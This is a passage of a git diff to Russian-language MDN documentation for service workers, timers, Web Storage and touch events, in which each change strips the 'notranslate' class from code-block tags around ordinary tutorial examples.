d25a516e56..5042cccf4b 100644 --- a/files/ru/web/api/service_worker_api/using_service_workers/index.html +++ b/files/ru/web/api/service_worker_api/using_service_workers/index.html @@ -66,7 +66,7 @@ translation_of: Web/API/Service_Worker_API/Using_Service_Workers <h4 id="sync">sync</h4> -<pre class="brush: js notranslate">try { +<pre class="brush: js">try { const value = myFunction(); console.log(value); } catch(err) { @@ -75,7 +75,7 @@ translation_of: Web/API/Service_Worker_API/Using_Service_Workers <h4 id="async">async</h4> -<pre class="brush: js notranslate">myFunction().then((value) => { +<pre class="brush: js">myFunction().then((value) => { console.log(value); }).catch((err) => { console.log(err); @@ -89,7 +89,7 @@ translation_of: Web/API/Service_Worker_API/Using_Service_Workers <p>{{note("Реальные реализации сервис-воркеров скорее всего будут использовать <code>onfetch</code>, а не устаревающий XMLHttpRequest API. Эти возможности не используются здесь, так что можете сосредоточиться на изучении промисов.")}}</p> -<pre class="brush: js notranslate">const imgLoad = (url) => { +<pre class="brush: js">const imgLoad = (url) => { return new Promise((resolve, reject) => { var request = new XMLHttpRequest(); request.open('GET', url); @@ -115,7 +115,7 @@ translation_of: Web/API/Service_Worker_API/Using_Service_Workers <p>Вызывая функцию <code>imgLoad()</code>, мы ожидаемо передаём в качестве параметра url изображения, которое хотим загрузить, но далее код немного отличается:</p> -<pre class="brush: js notranslate">let body = document.querySelector('body'); +<pre class="brush: js">let body = document.querySelector('body'); let myImage = new Image(); imgLoad('myLittleVader.jpg').then((response) => { @@ -161,7 +161,7 @@ imgLoad('myLittleVader.jpg').then((response) => { <p>Ниже представлен первый блок кода файла app.js. Это точка входа в Service Worker.</p> -<pre class="brush: js notranslate">if ('serviceWorker' in navigator) { +<pre class="brush: js">if ('serviceWorker' in navigator) { navigator.serviceWorker.register('./sw-test/sw.js', {scope: './sw-test/'}) .then((reg) => { // регистрация сработала @@ -224,7 +224,7 @@ imgLoad('myLittleVader.jpg').then((response) => { <p>Давайте начнём этот раздел посмотрев на фрагмент кода ниже — это <a href="https://github.com/mdn/sw-test/blob/gh-pages/sw.js#L1-L17">первый блок кода, который вы увидите в нашем сервис-воркере</a>:</p> -<pre class="brush: js notranslate">self.addEventListener('install', (event) => { +<pre class="brush: js">self.addEventListener('install', (event) => { event.waitUntil( caches.open('v1').then((cache) => { return cache.addAll([ @@ -268,7 +268,7 @@ imgLoad('myLittleVader.jpg').then((response) => { <p>Вы можете подключить к сервис-воркеру обработчик события <code>fetch</code> и внутри него на объекте события вызвать метод <code>respondWith()</code>, чтобы заменить ответы и показать собственную "магию".</p> -<pre class="brush: js notranslate">self.addEventListener('fetch', (event) => { +<pre class="brush: js">self.addEventListener('fetch', (event) => { event.respondWith( // магия происходит здесь ); @@ -277,7 +277,7 @@ imgLoad('myLittleVader.jpg').then((response) => { <p>Для начала, на каждый сетевой запрос мы можем отдать в ответ ресурс, чей url соответствует запросу:</p> -<pre class="brush: js notranslate">self.addEventListener('fetch', (event) => { +<pre class="brush: js">self.addEventListener('fetch', (event) => { event.respondWith( caches.match(event.request) ); @@ -291,29 +291,29 @@ imgLoad('myLittleVader.jpg').then((response) => { <li> <p>Конструктор <code>{{domxref("Response.Response","Response()")}}</code> позволяет вам создавать собственные ответы. В данном случае, мы всего лишь возвращаем простую текстовую строку:</p> - <pre class="brush: js notranslate">new Response('Hello from your friendly neighbourhood service worker!'); + <pre class="brush: js">new Response('Hello from your friendly neighbourhood service worker!'); </pre> <p>В этом более сложном объекте Response показано, как вы можете передать набор заголовков в свой ответ, эмулируя стандартный HTTP-ответ. Здесь мы просто сообщаем браузеру, чем является содержимое ответа:</p> - <pre class="brush: js notranslate">new Response('<p>Hello from your friendly neighbourhood service worker!</p>', { + <pre class="brush: js">new Response('<p>Hello from your friendly neighbourhood service worker!</p>', { headers: { 'Content-Type': 'text/html' } });</pre> </li> <li> <p>Если совпадение не было найдено в кеше, вы можете попросить браузер {{domxref("GlobalFetch.fetch","загрузить")}} тот же ресурс, чтобы получить новый файл через обычную сеть, если она доступна:</p> - <pre class="brush: js notranslate">fetch(event.request);</pre> + <pre class="brush: js">fetch(event.request);</pre> </li> <li> <p>Если информация, соответствующая запросу, в кеше не найдена, а также сеть не доступна, то вы можете просто ответить на запрос какой-либо страницей по умолчанию, которая хранится в кеше, используя {{domxref("CacheStorage.match","match()")}}:</p> - <pre class="brush: js notranslate">caches.match('./fallback.html');</pre> + <pre class="brush: js">caches.match('./fallback.html');</pre> </li> <li> <p>Вы можете получить больше информации о каждом запросе, используя для этого свойства объекта {{domxref("Request")}}, который можно получить как свойство объекта {{domxref("FetchEvent")}}:</p> - <pre class="brush: js notranslate">event.request.url + <pre class="brush: js">event.request.url event.request.method event.request.headers event.request.body</pre> @@ -326,7 +326,7 @@ event.request.body</pre> <p>К счастью, сервис-воркеры имеют структуру основанную на промисах, что делает тривиальной такую обработку и предоставляет большое количество способов успешно обработать запрос:</p> -<pre class="brush: js notranslate">self.addEventListener('fetch', (event) => { +<pre class="brush: js">self.addEventListener('fetch', (event) => { event.respondWith( caches.match(event.request).then((response) => { return response || fetch(event.request); @@ -338,7 +338,7 @@ event.request.body</pre> <p>Если же мы были достаточно умны, то мы не стали бы просто возвращать сетевой запрос, а сохранили бы его результат в кеше, чтобы иметь возможность получить его в офлайн-режиме. В случае с нашим демо-приложением "Star Wars gallery", это означает, что, если в галерею будет добавлено ещё одно изображение, то оно будет получено и сохранено в кеше:</p> -<pre class="brush: js notranslate">self.addEventListener('fetch', (event) => { +<pre class="brush: js">self.addEventListener('fetch', (event) => { event.respondWith( caches.match(event.request).then((resp) => { return resp || fetch(event.request).then((response) => { @@ -357,7 +357,7 @@ event.request.body</pre> <p>У нас все ещё остаётся единственная проблема - если на какой-либо запрос в кеше не будет найдено соответствие, и в этот момент сеть не доступна, то наш запрос завершится неудачно. Давайте реализуем запасной вариант по умолчанию, при котором пользователь, в описанном случае, будет получать хоть что-нибудь:</p> -<pre class="brush: js notranslate">self.addEventListener('fetch', (event) => { +<pre class="brush: js">self.addEventListener('fetch', (event) => { event.respondWith( caches.match(event.request).then((resp) => { return resp || fetch(event.request).then((response) => { @@ -382,7 +382,7 @@ event.request.body</pre> <p>Вы можете обновить обработчик события install в новой версии сервис-воркера, чтобы получить примерно такое (обратите внимание на номер новой версии):</p> -<pre class="brush: js notranslate">self.addEventListener('install', (event) => { +<pre class="brush: js">self.addEventListener('install', (event) => { event.waitUntil( caches.open('v2').then((cache) => { return cache.addAll([ @@ -410,7 +410,7 @@ event.request.body</pre> <p>Promise, переданный в <code>waitUntil()</code>, заблокирует другие события до своего завершения, поэтому можно быть уверенным, что процесс очистки закончится раньше, чем выполнится первое событие <code>fetch</code> на основе нового кеша.</p> -<pre class="brush: js notranslate">self.addEventListener('activate', (event) => { +<pre class="brush: js">self.addEventListener('activate', (event) => { var cacheKeeplist = ['v2']; event.waitUntil( diff --git a/files/ru/web/api/serviceworkercontainer/register/index.html b/files/ru/web/api/serviceworkercontainer/register/index.html index 94252afb85..20730c4c35 100644 --- a/files/ru/web/api/serviceworkercontainer/register/index.html +++ b/files/ru/web/api/serviceworkercontainer/register/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/ServiceWorkerContainer/register <h2 id="Синтаксис">Синтаксис</h2> -<pre class="brush: js notranslate">ServiceWorkerContainer.register(scriptURL, options) +<pre class="brush: js">ServiceWorkerContainer.register(scriptURL, options) .then(function(ServiceWorkerRegistration) { ... });</pre> <h3 id="Параметры">Параметры</h3> @@ -37,7 +37,7 @@ translation_of: Web/API/ServiceWorkerContainer/register <p>Следующий пример использует дефолтный scope (не указывая его прямо). Service worker в этом случае будет контролировать <code>example.com/index.html</code> и страницы, расположенные "глубже", например <code>example.com/product/description.html</code>.</p> -<pre class="brush: js notranslate">if ('serviceWorker' in navigator) { +<pre class="brush: js">if ('serviceWorker' in navigator) { // Регистрация service worker-а, расположенного в корне сайта // за счёт использования дефолтного scope (не указывая его) navigator.serviceWorker.register('/sw.js').then(function(registration) { @@ -52,7 +52,7 @@ translation_of: Web/API/ServiceWorkerContainer/register <p>Следующий пример, если он размещён на странице корня сайта, будет применён ровно к тем же страницам, что и пример выше. Помните, scope, если он указан, использует path страницы в качестве своей базы. Это значит, что, если следующий пример будет использоваться на странице <code>example.com/product/description.html</code>, то scope <code>./</code> будет означать, что service worker работает только со страницами внутри <code>example.com/product</code>. Если необходимо зарегистрировать service worker на <code>example.com/product/description.html</code>, и вы хотите, чтобы он обслуживал и корень, <code>example.com</code>, то scope лучше не указывать совсем, как в примере выше.</p> -<pre class="brush: js notranslate">if ('serviceWorker' in navigator) { +<pre class="brush: js">if ('serviceWorker' in navigator) { // Регистрация service worker-а, расположенного в корне сайта // с указанием более строгого scope navigator.serviceWorker.register('/sw.js', {scope: './'}).then(function(registration) { diff --git a/files/ru/web/api/setinterval/index.html b/files/ru/web/api/setinterval/index.html index 48763d06aa..7267237b16 100644 --- a/files/ru/web/api/setinterval/index.html +++ b/files/ru/web/api/setinterval/index.html @@ -10,7 +10,7 @@ original_slug: Web/API/WindowOrWorkerGlobalScope/setInterval <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><em>var intervalID</em> = scope.setInterval(<em>func</em>, <em>delay</em>[, <em>param1</em>, <em>param2</em>, ...]); +<pre class="syntaxbox"><em>var intervalID</em> = scope.setInterval(<em>func</em>, <em>delay</em>[, <em>param1</em>, <em>param2</em>, ...]); <em>var intervalID</em> = scope.setInterval(<em>code</em>, <em>delay</em>); </pre> @@ -45,7 +45,7 @@ original_slug: Web/API/WindowOrWorkerGlobalScope/setInterval <p>The following example demonstrates <code>setInterval()</code>'s basic syntax.</p> -<pre class="brush:js notranslate">var intervalID = window.setInterval(myCallback, 500); +<pre class="brush:js">var intervalID = window.setInterval(myCallback, 500); function myCallback() { // Your code here @@ -56,7 +56,7 @@ function myCallback() { <p>В следующем примере вызывается функция <code>flashtext()</code> раз в секунду, до того момента, как будет нажата кнопка Stop.</p> -<pre class="brush:html notranslate"><!DOCTYPE html> +<pre class="brush:html"><!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> @@ -95,7 +95,7 @@ function myCallback() { <p>The following example simulates typewriter by first clearing and then slowly typing content into the <a href="/en-US/docs/DOM/NodeList"><code>NodeList</code></a> that matches a specified group of selectors.</p> -<pre class="brush:html notranslate"><!DOCTYPE html> +<pre class="brush:html"><!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> @@ -258,7 +258,7 @@ Vivamus blandit massa ut metus mattis in fringilla lectus imperdiet. Proin ac an <p>As previously discussed, Internet Explorer versions 9 and below do not support the passing of arguments to the callback function in either <code>setTimeout()</code> or <code>setInterval()</code>. The following <strong>IE-specific</strong> code demonstrates a method for overcoming this limitation. To use, simply add the following code to the top of your script.</p> -<pre class="brush:js notranslate">/*\ +<pre class="brush:js">/*\ |*| |*| IE-specific polyfill that enables the passage of arbitrary arguments to the |*| callback functions of javascript timers (HTML5 standard syntax). @@ -299,11 +299,11 @@ if (document.all && !window.setInterval.isPolyfill) { <p>Another possibility is to use an anonymous function to call your callback, although this solution is a bit more expensive. Example:</p> -<pre class="brush:js notranslate">var intervalID = setInterval(function() { myFunc('one', 'two', 'three'); }, 1000);</pre> +<pre class="brush:js">var intervalID = setInterval(function() { myFunc('one', 'two', 'three'); }, 1000);</pre> <p>Another possibility is to use <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">function's bind</a>. Example:</p> -<pre class="brush:js notranslate">var intervalID = setInterval(function(arg1) {}.bind(undefined, 10), 1000);</pre> +<pre class="brush:js">var intervalID = setInterval(function(arg1) {}.bind(undefined, 10), 1000);</pre> <p>{{h3_gecko_minversion("Inactive tabs", "5.0")}}</p> @@ -317,7 +317,7 @@ if (document.all && !window.setInterval.isPolyfill) { <p>Code executed by <code>setInterval()</code> runs in a separate execution context than the function from which it was called. As a consequence, the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code></a> keyword for the called function is set to the <code>window</code> (or <code>global</code>) object, it is not the same as the <code>this</code> value for the function that called <code>setTimeout</code>. See the following example (which uses <code>setTimeout()</code> instead of <code>setInterval()</code> – the problem, in fact, is the same for both timers):</p> -<pre class="brush:js notranslate">myArray = ['zero', 'one', 'two']; +<pre class="brush:js">myArray = ['zero', 'one', 'two']; myArray.myMethod = function (sProperty) { alert(arguments.length > 0 ? this[sProperty] : this); @@ -341,7 +341,7 @@ setTimeout.call(myArray, myArray.myMethod, 2500, 2); // same error <p>A possible way to solve the "<code>this</code>" problem is to replace the two native <code>setTimeout()</code> or <code>setInterval()</code> global functions with two <em>non-native</em> ones that enable their invocation through the <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function/call"><code>Function.prototype.call</code></a> method. The following example shows a possible replacement:</p> -<pre class="brush:js notranslate">// Enable the passage of the 'this' object through the JavaScript timers +<pre class="brush:js">// Enable the passage of the 'this' object through the JavaScript timers var __nativeST__ = window.setTimeout, __nativeSI__ = window.setInterval; @@ -363,7 +363,7 @@ window.setInterval = function (vCallback, nDelay /*, argumentToPass1, argumentTo <p>Новое тестируемое свойство:</p> -<pre class="brush:js notranslate">myArray = ['zero', 'one', 'two']; +<pre class="brush:js">myArray = ['zero', 'one', 'two']; myArray.myMethod = function (sProperty) { alert(arguments.length > 0 ? this[sProperty] : this); @@ -386,7 +386,7 @@ setTimeout.call(myArray, myArray.myMethod, 2500, 2); // prints "two" after 2,5 s <h3 id="minidaemon.js">minidaemon.js</h3> -<pre class="brush:js notranslate">/*\ +<pre class="brush:js">/*\ |*| |*| :: MiniDaemon :: |*| @@ -516,7 +516,7 @@ MiniDaemon.prototype.start = function (bReverse) { <p>Ваша HTML страница:</p> -<pre class="brush:html notranslate"><!DOCTYPE html> +<pre class="brush:html"><!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> @@ -567,7 +567,7 @@ MiniDaemon.prototype.start = function (bReverse) { <p>In these cases, a recursive <code>setTimeout()</code> pattern is preferred:</p> -<pre class="brush:js notranslate">(function loop(){ +<pre class="brush:js">(function loop(){ setTimeout(function() { // Your logic here diff --git a/files/ru/web/api/settimeout/index.html b/files/ru/web/api/settimeout/index.html index 5c4cb67a3b..6e38955b9f 100644 --- a/files/ru/web/api/settimeout/index.html +++ b/files/ru/web/api/settimeout/index.html @@ -12,7 +12,7 @@ original_slug: Web/API/WindowOrWorkerGlobalScope/setTimeout <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><em>var timeoutID</em> = window.setTimeout(<em>func</em>, [, <em>delay</em>, <em>param1</em>, <em>param2</em>, ...]); +<pre class="syntaxbox"><em>var timeoutID</em> = window.setTimeout(<em>func</em>, [, <em>delay</em>, <em>param1</em>, <em>param2</em>, ...]); <em>var timeoutID</em> = window.setTimeout(<em>code </em>[, <em>delay]</em>); </pre> @@ -35,7 +35,7 @@ original_slug: Web/API/WindowOrWorkerGlobalScope/setTimeout <h3 id="HTML_Content">HTML Content</h3> -<pre class="brush: html notranslate"><p>Live Example</p> +<pre class="brush: html"><p>Live Example</p> <button onclick="delayedAlert();">Show an alert box after two seconds</button> <p></p> <button onclick="clearAlert();">Cancel alert before it happens</button> @@ -43,7 +43,7 @@ original_slug: Web/API/WindowOrWorkerGlobalScope/setTimeout <h3 id="JavaScript_Content">JavaScript Content</h3> -<pre class="brush: js notranslate">var timeoutID; +<pre class="brush: js">var timeoutID; function delayedAlert() { timeoutID = window.setTimeout(slowAlert, 2000); @@ -66,7 +66,7 @@ function clearAlert() { <p>Если вам нужно передать аргумент в вашу callback функцию, но нужно, чтобы это работало в Internet Explorer 9 и ниже, который не поддерживает передачу дополнительных параметров (ни с <code>setTimeout()</code> или <code>setInterval()</code>), то вы можете прописать специальный код для <em>совместимости с IE, </em><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>вставив этот код в начало ваших скриптов</span></span></span>, <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>который включит функцию передачи стандартных параметров HTML5 в </span></span></span>Internet Explorer<span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span> для обоих таймеров</span></span></span>.</p> -<pre class="brush: js notranslate">/*\ +<pre class="brush: js">/*\ |*| |*| IE-specific polyfill which enables the passage of arbitrary arguments to the |*| callback functions of JavaScript timers (HTML5 standard syntax). @@ -108,7 +108,7 @@ if (document.all && !window.setInterval.isPolyfill) { <p>If you want a completely unobtrusive hack for every other mobile or desktop browser, including IE 9 and below, you can either use JavaScript conditional comments:</p> -<pre class="brush: js notranslate">/*@cc_on +<pre class="brush: js">/*@cc_on // conditional IE < 9 only fix @if (@_jscript_version <= 6) (function(f){ @@ -121,7 +121,7 @@ if (document.all && !window.setInterval.isPolyfill) { <p><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Или используйте очень чистый подход, основанный на условном свойстве IE HTML</span></span></span>:</p> -<pre class="brush: html notranslate"><!--[if lte IE 9]><script> +<pre class="brush: html"><!--[if lte IE 9]><script> (function(f){ window.setTimeout =f(window.setTimeout); window.setInterval =f(window.setInterval); @@ -133,12 +133,12 @@ var a=[].slice.call(arguments,2);return f(function(){c.apply(this,a)},t)} <p>Another possibility is to use an anonymous function to call your callback, but this solution is a bit more expensive. Example:</p> -<pre class="brush: js notranslate">var intervalID = setTimeout(function() { myFunc("one", "two", "three"); }, 1000); +<pre class="brush: js">var intervalID = setTimeout(function() { myFunc("one", "two", "three"); }, 1000); </pre> <p>Yet another possibility is to use <a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Function/bind" title="/en-US/docs/JavaScript/Reference/Global_Objects/Function/bind">function's bind</a>. Example:</p> -<pre class="brush: js notranslate">setTimeout(function(arg1){}.bind(undefined, 10)); +<pre class="brush: js">setTimeout(function(arg1){}.bind(undefined, 10)); </pre> <h2 id="Проблема_с_this">Проблема с "<code>this</code>"</h2> @@ -149,7 +149,7 @@ var a=[].slice.call(arguments,2);return f(function(){c.apply(this,a)},t)} <p>Code executed by <code>setTimeout()</code> is run in a separate execution context to the function from which it was called. As a consequence, the <code>this</code> keyword for the called function will be set to the <code>window</code> (or <code>global</code>) object; it will not be the same as the <code>this</code> value for the function that called <code>setTimeout</code>. See the following example:</p> -<pre class="brush: js notranslate">myArray = ["zero", "one", "two"]; +<pre class="brush: js">myArray = ["zero", "one", "two"]; myArray.myMethod = function (sProperty) { alert(arguments.length > 0 ? this[sProperty] : this); }; @@ -168,7 +168,7 @@ setTimeout.call(myArray, myArray.myMethod, 2500, 2); // same error</pre> <p>A possible way to solve the "<code>this</code>" problem is to replace the two native <code>setTimeout()</code> or <code>setInterval()</code> global functions with two <em>non-native</em> ones which will enable their invocation through the <a href="en-US/docs/JavaScript/Reference/Global_Objects/Function/call" title="en-US/docs/JavaScript/Reference/Global_Objects/Function/call"><code>Function.prototype.call</code></a> method. The following example shows a possible replacement:</p> -<pre class="brush: js notranslate">// Enable the passage of the 'this' object through the JavaScript timers +<pre class="brush: js">// Enable the passage of the 'this' object through the JavaScript timers var __nativeST__ = window.setTimeout, __nativeSI__ = window.setInterval; @@ -190,7 +190,7 @@ window.setInterval = function (vCallback, nDelay /*, argumentToPass1, argumentTo <p>Новая тестируемая особенность:</p> -<pre class="brush: js notranslate">myArray = ["zero", "one", "two"]; +<pre class="brush: js">myArray = ["zero", "one", "two"]; myArray.myMethod = function (sProperty) { alert(arguments.length > 0 ? this[sProperty] : this); }; @@ -214,7 +214,7 @@ setTimeout.call(myArray, myArray.myMethod, 2500, 2); // prints "two" after 2.5 s <p>Передача строки вместо функции в <code>setTimeout()</code> сопряжена с теми же опасностями, что и использование <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/eval#Don.27t_use_eval.21" title="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/eval">eval</a>. </code></p> -<pre class="brush: js notranslate">// Правильно +<pre class="brush: js">// Правильно window.setTimeout(function() { alert("Hello World!"); }, 500); diff --git a/files/ru/web/api/storage/index.html b/files/ru/web/api/storage/index.html index f6e0d3b1e4..a328426988 100644 --- a/files/ru/web/api/storage/index.html +++ b/files/ru/web/api/storage/index.html @@ -46,7 +46,7 @@ translation_of: Web/API/Storage <p>В данном примере мы получаем доступ к объекту Storage вызывая localStorage. Для начала мы проверяем содержит ли local storage элементы данных используя <code>!localStorage.getItem('bgcolor')</code>. Если да, мы вызываем функцию <code>setStyles()</code> которая получает элементы данных используя {{domxref("localStorage.getItem()")}} и использует их значения для обновления стилей на странице. Если нет, мы вызывает другую функцию, <code>populateStorage()</code>, которая использует {{domxref("localStorage.setItem()")}} что бы установить значения для элементов, потом вызываем <code>setStyles()</code>.</p> -<pre class="brush: js notranslate">if(!localStorage.getItem('bgcolor')) { +<pre class="brush: js">if(!localStorage.getItem('bgcolor')) { populateStorage(); } else { setStyles(); diff --git a/files/ru/web/api/storage/removeitem/index.html b/files/ru/web/api/storage/removeitem/index.html index e0767fa6a8..9984a1316a 100644 --- a/files/ru/web/api/storage/removeitem/index.html +++ b/files/ru/web/api/storage/removeitem/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/Storage/removeItem <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><em>storage</em>.removeItem(<em>keyName</em>);</pre> +<pre class="syntaxbox"><em>storage</em>.removeItem(<em>keyName</em>);</pre> <h3 id="Параметры">Параметры</h3> @@ -30,7 +30,7 @@ translation_of: Web/API/Storage/removeItem <p>Следующая функция создаёт три элемента внутри локального хранилища и потом удаляет элемент с ключом <em>image</em>.</p> -<pre class="brush: js notranslate">function populateStorage() { +<pre class="brush: js">function populateStorage() { localStorage.setItem('bgcolor', 'red'); localStorage.setItem('font', 'Helvetica'); localStorage.setItem('image', 'myCat.png'); diff --git a/files/ru/web/api/storage_access_api/index.html b/files/ru/web/api/storage_access_api/index.html index b94cbbaff4..df6bbfbdb1 100644 --- a/files/ru/web/api/storage_access_api/index.html +++ b/files/ru/web/api/storage_access_api/index.html @@ -24,7 +24,7 @@ translation_of: Web/API/Storage_Access_API <p>In addition, sandboxed {{htmlelement("iframe")}}s cannot be granted storage access by default for security reasons. The API therefore also adds the <code>allow-storage-access-by-user-activation</code> <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe#attr-sandbox">sandbox token</a>. The embedding website needs to add this to allow storage access requests to be successful, along with <code>allow-scripts</code> and <code>allow-same-origin</code> to allow it to call the API, and execute in an origin that can have cookies:</p> -<pre class="brush: html notranslate"><iframe sandbox="allow-storage-access-by-user-activation +<pre class="brush: html"><iframe sandbox="allow-storage-access-by-user-activation allow-scripts allow-same-origin"> ... diff --git a/files/ru/web/api/touch_events/index.html b/files/ru/web/api/touch_events/index.html index aaede09e9d..8f54941279 100644 --- a/files/ru/web/api/touch_events/index.html +++ b/files/ru/web/api/touch_events/index.html @@ -42,7 +42,7 @@ translation_of: Web/API/Touch_events <h3 id="Создание_canvas">Создание canvas</h3> -<pre class="brush: html notranslate"><canvas id="canvas" width="600" height="600" style="border:solid black 1px;"> +<pre class="brush: html"><canvas id="canvas" width="600" height="600" style="border:solid black 1px;"> Ваш браузер не поддерживает элемент canvas. </canvas> <br> @@ -52,7 +52,7 @@ Log: <pre id="log" style="border: 1px solid #ccc;"></pre></pre> <p>После загрузки страницы будет вызвана функция <code>startup()</code>, показанная ниже</p> -<pre class="brush: js notranslate">function startup() { +<pre class="brush: js">function startup() { var el = document.getElementById("canvas"); el.addEventListener("touchstart", handleStart, false); el.addEventListener("touchend", handleEnd, false); @@ -68,12 +68,12 @@ Log: <pre id="log" style="border: 1px solid #ccc;"></pre></pre> <p>Рассмотрим касания в действии.</p> -<pre class="brush: js notranslate">var ongoingTouches = []; +<pre class="brush: js">var ongoingTouches = []; </pre> <p>Когда возникает событие {{event("touchstart")}}, свидетельствующее о новом касании к поверхности, вызывается приведённая ниже функция <code>handleStart()</code>.</p> -<pre class="brush: js notranslate">function handleStart(evt) { +<pre class="brush: js">function handleStart(evt) { evt.preventDefault(); console.log("touchstart."); var el = document.getElementById("canvas"); @@ -101,7 +101,7 @@ Log: <pre id="log" style="border: 1px solid #ccc;"></pre></pre> <p>Каждый раз, когда двигается один или несколько пальцев, срабатывает событие {{event("touchmove")}}, в результате чего вызывается наша функция <code>handleMove()</code>.В этом примере данная функция ответственна за обновление данных о касании и рисование линии от предыдущей до текущей точки касания.</p> -<pre class="brush: js notranslate">function handleMove(evt) { +<pre class="brush: js">function handleMove(evt) { evt.preventDefault(); var el = document.getElementById("canvas"); var ctx = el.getContext("2d"); @@ -141,7 +141,7 @@ Log: <pre id="log" style="border: 1px solid #ccc;"></pre></pre> <p>Когда пользователь убирает палец с сенсорной поверхности, срабатывает событие {{domxref("Element/touchend_event", "touchend")}}. Мы обрабатываем его, вызывая функцию <code>handleEnd()</code>, которая представлена ниже. Её задача - рисовать последний отрезок линии для каждого касания, которое завершилось, и удалять точку касания из текущего списка касаний.</p> -<pre class="brush: js notranslate">function handleEnd(evt) { +<pre class="brush: js">function handleEnd(evt) { evt.preventDefault(); log("touchend"); var el = document.getElementById("canvas"); @@ -173,7 +173,7 @@ Log: <pre id="log" style="border: 1px solid #ccc;"></pre></pre> <p>Если палец пользователя перемещается в интерфейс браузера или прикосновение должно быть отменено, отправляется событие {{domxref("Element/touchcancel_event", "touchcancel")}}, и мы вызываем функцию <code>handleCancel()</code>, приведённую ниже.</p> -<pre class="brush: js notranslate">function handleCancel(evt) { +<pre class="brush: js">function handleCancel(evt) { evt.preventDefault(); console.log("touchcancel."); var touches = evt.changedTouches; @@ -195,7 +195,7 @@ Log: <pre id="log" style="border: 1px solid #ccc;"></pre></pre> <p>Чтобы рисунок каждого касания выглядел по-разному, используется функция <code>colorForTouch()</code>, в которой цвета выбираются на основе уникального идентификатора касаний. Этот идентификатор является скрытым числом, но мы, по крайней мере, можем полагаться на то, что у каждого активного на данный момент касания он уникальный.</p> -<pre class="brush: js notranslate">function colorForTouch(touch) { +<pre class="brush: js">function colorForTouch(touch) { var r = touch.identifier % 16; var g = Math.floor(touch.identifier / 3) % 16; var b = Math.floor(touch.identifier / 7) % 16; @@ -214,7 +214,7 @@ Log: <pre id="log" style="border: 1px solid #ccc;"></pre></pre> <p>Некоторые браузеры (например, мобильный Safari) повторно используют объекты касания в разных событиях, поэтому лучше копировать только важные свойства, а не ссылаться на весь объект.</p> -<pre class="brush: js notranslate">function copyTouch({ identifier, pageX, pageY }) { +<pre class="brush: js">function copyTouch({ identifier, pageX, pageY }) { return { identifier, pageX, pageY }; }</pre> @@ -222,7 +222,7 @@ Log: <pre id="log" style="border: 1px solid #ccc;"></pre></pre> <p>Приведённая ниже функция <code>ongoingTouchIndexById()</code> сканирует весь массив <code>ongoingTouches</code>, чтобы найти касание, соответствующее данному идентификатору, после чего возвращает в массив индекс этого касания.</p> -<pre class="brush: js notranslate">function ongoingTouchIndexById(idToFind) { +<pre class="brush: js">function ongoingTouchIndexById(idToFind) { for (var i = 0; i < ongoingTouches.length; i++) { var id = ongoingTouches[i].identifier; @@ -236,7 +236,7 @@ Log: <pre id="log" style="border: 1px solid #ccc;"></pre></pre> <h4 id="Отображение_происходящего">Отображение происходящего</h4> -<pre class="brush: js notranslate">function log(msg) { +<pre class="brush: js">function log(msg) { var p = document.getElementById('log'); p.innerHTML = msg + "\n" + p.innerHTML; }</pre> @@ -255,7 +255,7 @@ Log: <pre id="log" style="border: 1px solid #ccc;"></pre></pre> <p>Данный пример очень упрощён и может привести к странному поведению. Он уместен исключительно как учебный пример.</p> -<pre class="brush: js notranslate">function onTouch(evt) { +<pre class="brush: js">function onTouch(evt) { evt.preventDefault(); if (evt.touches.length > 1 || (evt.type == "touchend" && evt.touches.length > 0)) return; diff --git a/files/ru/web/api/touch_events/supporting_both_touchevent_and_mouseevent/index.html b/files/ru/web/api/touch_events/supporting_both_touchevent_and_mouseevent/index.html index 06015736a0..d9f05fdec0 100644 --- a/files/ru/web/api/touch_events/supporting_both_touchevent_and_mouseevent/index.html +++ b/files/ru/web/api/touch_events/supporting_both_touchevent_and_mouseevent/index.html @@ -17,7 +17,7 @@ translation_of: Web/API/Touch_events/Supporting_both_TouchEvent_and_MouseEvent <p>Ниже представлен пример обработчика события {{event("touchmove")}}, вызывающий <code>preventDefault()</code></p> -<pre class="brush: js notranslate">// touchmove handler +<pre class="brush: js">// touchmove handler function process_touchmove(ev) { // Call preventDefault() to prevent any further handling ev.preventDefault(); diff --git a/files/ru/web/api/touch_events/using_touch_events/index.html b/files/ru/web/api/touch_events/using_touch_events/index.html index 45c1cd6245..cfc029b48c 100644 --- a/files/ru/web/api/touch_events/using_touch_events/index.html +++ b/files/ru/web/api/touch_events/using_touch_events/index.html @@ -54,7 +54,7 @@ translation_of: Web/API/Touch_events/Using_Touch_Events <p>Назначьте обработчик событий для каждого типа события касания.</p> -<pre class="brush: js notranslate">// Назначение обработчика событий касания +<pre class="brush: js">// Назначение обработчика событий касания someElement.addEventListener('touchstart', process_touchstart, false); someElement.addEventListener('touchmove', process_touchmove, false); someElement.addEventListener('touchcancel', process_touchcancel, false); @@ -63,7 +63,7 @@ someElement.addEventListener('touchend', process_touchend, false); <p>Обработчик события, реализующий семантику жестов приложения</p> -<pre class="notranslate">// Обработчик touchstart +<pre>// Обработчик touchstart function process_touchstart(ev) { // Используется данные события, чтобы вызвать соответствующие обработчики жестов switch (ev.touches.length) { @@ -77,7 +77,7 @@ function process_touchstart(ev) { <p>Доступ к атрибутам точки касания.</p> -<pre class="brush: js notranslate">// Создание обработчика события "touchstart" +<pre class="brush: js">// Создание обработчика события "touchstart" someElement.addEventListener('touchstart', function(ev) { // Перебор точек события, которые были активированы // для этого элемента и обработка каждого целевого 